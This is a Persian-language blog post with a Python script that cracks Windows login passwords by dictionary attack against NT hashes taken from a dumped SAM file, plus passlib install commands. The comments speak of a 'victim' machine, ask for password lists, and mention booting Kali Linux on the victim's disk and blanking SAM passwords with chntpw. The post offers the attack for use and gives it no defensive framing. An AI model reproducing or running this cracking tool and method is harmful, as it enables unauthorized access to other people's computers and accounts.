نوشتن اسکریپت کرک کردن پسوورد لاگین ویندوز در پایتون :: Mr Python | مستر پایتون

نوشتن اسکریپت کرک کردن پسوورد لاگین ویندوز در پایتون

  • ۲۲۰۱

نوشتن اسکریپت کرک کردن پسوورد لاگین ویندوز در پایتون

درود به همه !

جدیدا حتما اخباری راجع به رونمایی از ویندوز 11 در مراسم 3 تیر مایکروسافت شنیده اید . در این پست ویدیویی باحال یاد میگیریم چطوری میتونیم پسوورد لاگین هر یوزر در ویندوز 11 رو با استفاده از اسکریپت پایتونی کرک کنیم . این روش روی ویندوز های قبلی مثل 10 و 8 نیز جوابگو خواهد بود . با ما همراه باشید .

 

سورس کد نوشته شده در ویدیو :

from passlib.hash import nthash

passwordlist = input("Password List : ")
hashfile = input("hash file : ")

hashfile = open(hashfile)
hashfile = hashfile.readlines()

print("select username ... ")
for i in range(len(hashfile)):
    username = hashfile[i].split(":")[0]
    print("\t{} - {}".format(i + 1 , username))

index = int(input("\n" + ">>> "))
index -= 1

username = hashfile[index].split(":")[0]
hash_of_password = hashfile[index].split(":")[3]

print("Cracking for {} ... ".format(username))
print("HASH : {}".format(hash_of_password))

passwordlist = open(passwordlist)

i = 0
for password in passwordlist:
    password = password.strip("\n")
    hash = nthash.hash(password)
    if hash == hash_of_password:
        print("\n")
        print("-" * 30)
        print("Password Cracked !")
        print("PASSWORD : [[ {} ]]".format(password))
        break
    i += 1
    print("{} password tested .".format(i),end="\r")

 

برای اجرای سورس کد بالا نیاز به نصب بودن کتابخانه passlib هستش که روی بعضی از لینوکس ها به طور پیشفرض نصب هست . این اسکریپت میتونه روی ویندوز هم اجرا بشه به راحتی . در صورت نصب نبودن passlib ، میتوانید با استفاده از دستور pip آن را نصب کنید :

نصب passlib در لینوکس :

MrPython@debian:~$ sudo pip3 install passlib

نصب passlib در ویندوز :

C:\> pip install passlib

 

امیدوارم لذت برده باشید . سوالی بود مطرح کنید :)

 

یا حق !

Telegram Channel : @mrpythonblog 

  • سلام خیلی عالی بود ممنون.

    فقط میخواستم ببینم میشه پسورد لیست رو برای ما هم بزارید تا ازش استفاده کنیم؟

    و اینکه این روش خب روی همه پسورد ها کار نمیده ممکنه پسورد سیستم قربانی تو پسوردلیست نباشه!

    ولی باز هم ممنون

    پاسخ:
    درود بر شما .
    یک پستی جداگانه به زودی میگذاریم که بهترین پسوورد لیست ها رو معرفی میکنیم و قرار میدیم . مرسی که گفتید :)
    بله کلا همه ی حملات دیکشنری همینجوره !‌در صورتی که پسوورد داخل دیکشنری نباشه موفقیت آمیز نخواهد بود . اساس کار این حمله آزمون و خطاس .

    خواهش میکنم :)
  • سلام

    این اسکریپت فقط برای پسورد کار میکنه یا کلاً هر نوعی؟ مثلاً حسگر اثر انگشت یا تشخیص چهره رو هم باز میکنه؟

    پاسخ:
    درود بر شما . 
    این اسکریپت فقط برای password کار میکنه :)
  • نسخه لینوکس شما چی هست؟

    پاسخ:
    سیستم عاملی که در این ویدیو استفاده شده ، سیستم عامل کالی لینوکس (kali linux) هستش که به صورت لایو بوت شده روی هاردی که ویندوز قربانی روش نصبه .
  • سلام و خسته نباشید

    نمیشه اطلاعات فایل سم رو دست کاری کرد؟!

     

     

    پاسخ:
    سلام و درود . ممنونم.
    چرا ابزار هایی مثل chntpw هستند که میتونن برای مثال بخش پسوورد های یک فایل SAM رو خالی کنند (با هیچی جایگذین کنند ) .
  • داش دمت گرم عالی بود مثل همیشه

    میزاشتی حداقل کامل منتشرش کنن این ویندوز جدیدشون رو

    پاسخ:
    ممنونم مچکرم :))
    هعی جدید ترین ویندوز رو میخواستم انتخاب کنم 😅 ولی این روش روی ویندوز های قبلی هم جوابگو هستش . 
  • عالی :-)

    پاسخ:
    مچکرم :) موفق باشید :)
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی